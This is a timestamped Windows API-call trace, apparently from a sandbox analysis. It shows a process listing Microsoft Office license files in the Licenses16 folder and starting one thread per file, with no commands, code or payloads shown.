	[0084.215] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe30113f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe30113f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe31db01c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a49, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-ppd.xrm-ms", cAlternateFileName="ACF0DC~1.XRM")) returned 1
	[0084.215] wcscmp (_String1="AccessVL_MAK-ppd.xrm-ms", _String2=".") returned 1
	[0084.215] wcscmp (_String1="AccessVL_MAK-ppd.xrm-ms", _String2="..") returned 1
	[0084.215] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2af38
	[0084.215] wcscpy (in: _Dest=0x2e2af38, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.215] wcscat (in: _Dest=0x2e2af38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.215] wcscat (in: _Dest=0x2e2af38, _Source="AccessVL_MAK-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms"
	[0084.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2af38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1748
	[0084.216] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2daee42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2daee42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe30113f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-ul-oob.xrm-ms", cAlternateFileName="AC2E1B~1.XRM")) returned 1
	[0084.216] wcscmp (_String1="AccessVL_MAK-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.216] wcscmp (_String1="AccessVL_MAK-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4986cf8
	[0084.216] wcscpy (in: _Dest=0x4986cf8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.216] wcscat (in: _Dest=0x4986cf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.216] wcscat (in: _Dest=0x4986cf8, _Source="AccessVL_MAK-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms"
	[0084.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4986cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c
	[0084.217] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2fc4ef7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2fc4ef7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe318eac3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessVL_MAK-ul-phn.xrm-ms", cAlternateFileName="ACEEE9~1.XRM")) returned 1
	[0084.217] wcscmp (_String1="AccessVL_MAK-ul-phn.xrm-ms", _String2=".") returned 1
	[0084.217] wcscmp (_String1="AccessVL_MAK-ul-phn.xrm-ms", _String2="..") returned 1
	[0084.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987190
	[0084.217] wcscpy (in: _Dest=0x4987190, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.217] wcscat (in: _Dest=0x4987190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.217] wcscat (in: _Dest=0x4987190, _Source="AccessVL_MAK-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms"
	[0084.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1750
	[0084.219] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2fc4ef7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2fc4ef7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe324d6a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-bridge-office.xrm-ms", cAlternateFileName="CL0848~1.XRM")) returned 1
	[0084.219] wcscmp (_String1="client-issuance-bridge-office.xrm-ms", _String2=".") returned 1
	[0084.219] wcscmp (_String1="client-issuance-bridge-office.xrm-ms", _String2="..") returned 1
	[0084.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481aff8
	[0084.219] wcscpy (in: _Dest=0x481aff8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.219] wcscat (in: _Dest=0x481aff8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.219] wcscat (in: _Dest=0x481aff8, _Source="client-issuance-bridge-office.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms"
	[0084.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481aff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754
	[0084.220] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe28ea227, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe28ea227, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2982ba2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc93, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-root-bridge-test.xrm-ms", cAlternateFileName="CL284D~1.XRM")) returned 1
	[0084.220] wcscmp (_String1="client-issuance-root-bridge-test.xrm-ms", _String2=".") returned 1
	[0084.220] wcscmp (_String1="client-issuance-root-bridge-test.xrm-ms", _String2="..") returned 1
	[0084.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x47c8920
	[0084.220] wcscpy (in: _Dest=0x47c8920, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.220] wcscat (in: _Dest=0x47c8920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.220] wcscat (in: _Dest=0x47c8920, _Source="client-issuance-root-bridge-test.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms"
	[0084.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47c8920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758
	[0084.221] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe28c3fe1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe28c3fe1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe295c968, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-root.xrm-ms", cAlternateFileName="CLIENT~4.XRM")) returned 1
	[0084.221] wcscmp (_String1="client-issuance-root.xrm-ms", _String2=".") returned 1
	[0084.221] wcscmp (_String1="client-issuance-root.xrm-ms", _String2="..") returned 1
	[0084.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987388
	[0084.221] wcscpy (in: _Dest=0x4987388, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.221] wcscat (in: _Dest=0x4987388, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.221] wcscat (in: _Dest=0x4987388, _Source="client-issuance-root.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms"
	[0084.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c
	[0084.222] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe289dd92, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe289dd92, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe29366eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd34, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-stil.xrm-ms", cAlternateFileName="CLIENT~3.XRM")) returned 1
	[0084.222] wcscmp (_String1="client-issuance-stil.xrm-ms", _String2=".") returned 1
	[0084.222] wcscmp (_String1="client-issuance-stil.xrm-ms", _String2="..") returned 1
	[0084.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x4987430
	[0084.222] wcscpy (in: _Dest=0x4987430, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.222] wcscat (in: _Dest=0x4987430, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.222] wcscat (in: _Dest=0x4987430, _Source="client-issuance-stil.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms"
	[0084.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1760
	[0084.222] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe282b673, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe282b673, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe28ea227, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1128, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-ul-oob.xrm-ms", cAlternateFileName="CLIENT~2.XRM")) returned 1
	[0084.222] wcscmp (_String1="client-issuance-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.222] wcscmp (_String1="client-issuance-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x49878c8
	[0084.222] wcscpy (in: _Dest=0x49878c8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.222] wcscat (in: _Dest=0x49878c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.223] wcscat (in: _Dest=0x49878c8, _Source="client-issuance-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms"
	[0084.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49878c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764
	[0084.223] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2687c83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe282b673, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1070, dwReserved0=0x0, dwReserved1=0x0, cFileName="client-issuance-ul.xrm-ms", cAlternateFileName="CLIENT~1.XRM")) returned 1
	[0084.223] wcscmp (_String1="client-issuance-ul.xrm-ms", _String2=".") returned 1
	[0084.223] wcscmp (_String1="client-issuance-ul.xrm-ms", _String2="..") returned 1
	[0084.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2b398
	[0084.223] wcscpy (in: _Dest=0x2e2b398, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.223] wcscat (in: _Dest=0x2e2b398, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.223] wcscat (in: _Dest=0x2e2b398, _Source="client-issuance-ul.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms"
	[0084.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2b398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768
	[0084.224] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2f2c57f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2f2c57f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe305d884, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5169, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Grace-ppd.xrm-ms", cAlternateFileName="EXCELR~3.XRM")) returned 1
	[0084.287] wcscmp (_String1="ExcelR_Grace-ppd.xrm-ms", _String2=".") returned 1
	[0084.287] wcscmp (_String1="ExcelR_Grace-ppd.xrm-ms", _String2="..") returned 1
	[0084.287] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2afd8
	[0084.287] wcscpy (in: _Dest=0x2e2afd8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.287] wcscat (in: _Dest=0x2e2afd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.287] wcscat (in: _Dest=0x2e2afd8, _Source="ExcelR_Grace-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms"
	[0084.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2afd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e0
	[0084.288] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2f2c57f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2f2c57f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe314269a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d45, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_Grace-ul-oob.xrm-ms", cAlternateFileName="EXCELR~2.XRM")) returned 1
	[0084.288] wcscmp (_String1="ExcelR_Grace-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.288] wcscmp (_String1="ExcelR_Grace-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987eb0
	[0084.288] wcscpy (in: _Dest=0x4987eb0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.288] wcscat (in: _Dest=0x4987eb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.288] wcscat (in: _Dest=0x4987eb0, _Source="ExcelR_Grace-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms"
	[0084.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c4
	[0084.289] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2dd500f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2dd500f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2feb0e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x298b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-pl.xrm-ms", cAlternateFileName="EXCELR~1.XRM")) returned 1
	[0084.289] wcscmp (_String1="ExcelR_OEM_Perp-pl.xrm-ms", _String2=".") returned 1
	[0084.289] wcscmp (_String1="ExcelR_OEM_Perp-pl.xrm-ms", _String2="..") returned 1
	[0084.289] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x48940a0
	[0084.289] wcscpy (in: _Dest=0x48940a0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.289] wcscat (in: _Dest=0x48940a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.289] wcscat (in: _Dest=0x48940a0, _Source="ExcelR_OEM_Perp-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms"
	[0084.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x48940a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c8
	[0084.290] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe34fc158, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34fc158, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe38697b8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x516e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-ppd.xrm-ms", cAlternateFileName="EX46CD~1.XRM")) returned 1
	[0084.290] wcscmp (_String1="ExcelR_OEM_Perp-ppd.xrm-ms", _String2=".") returned 1
	[0084.290] wcscmp (_String1="ExcelR_OEM_Perp-ppd.xrm-ms", _String2="..") returned 1
	[0084.290] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x4987ac0
	[0084.290] wcscpy (in: _Dest=0x4987ac0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.290] wcscat (in: _Dest=0x4987ac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.290] wcscat (in: _Dest=0x4987ac0, _Source="ExcelR_OEM_Perp-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms"
	[0084.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17cc
	[0084.291] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3594a6c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3594a6c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3a595e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-ul-oob.xrm-ms", cAlternateFileName="EX3475~1.XRM")) returned 1
	[0084.291] wcscmp (_String1="ExcelR_OEM_Perp-ul-oob.xrm-ms", _String2=".") returned 1
	[0084.291] wcscmp (_String1="ExcelR_OEM_Perp-ul-oob.xrm-ms", _String2="..") returned 1
	[0084.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4987820
	[0084.291] wcscpy (in: _Dest=0x4987820, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.291] wcscat (in: _Dest=0x4987820, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.291] wcscat (in: _Dest=0x4987820, _Source="ExcelR_OEM_Perp-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms"
	[0084.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4987820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17d0
	[0084.291] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3332528, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3332528, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34afc59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelR_OEM_Perp-ul-phn.xrm-ms", cAlternateFileName="EXD89F~1.XRM")) returned 1
	[0084.291] wcscmp (_String1="ExcelR_OEM_Perp-ul-phn.xrm-ms", _String2=".") returned 1
	[0084.292] wcscmp (_String1="ExcelR_OEM_Perp-ul-phn.xrm-ms", _String2="..") returned 1
	[0084.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4987970
	[0084.292] wcscpy (in: _Dest=0x4987970, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0084.292] wcscat (in: _Dest=0x4987970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0084.292] wcscat (in: _Dest=0x4987970, _Source="ExcelR_OEM_Perp-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms"
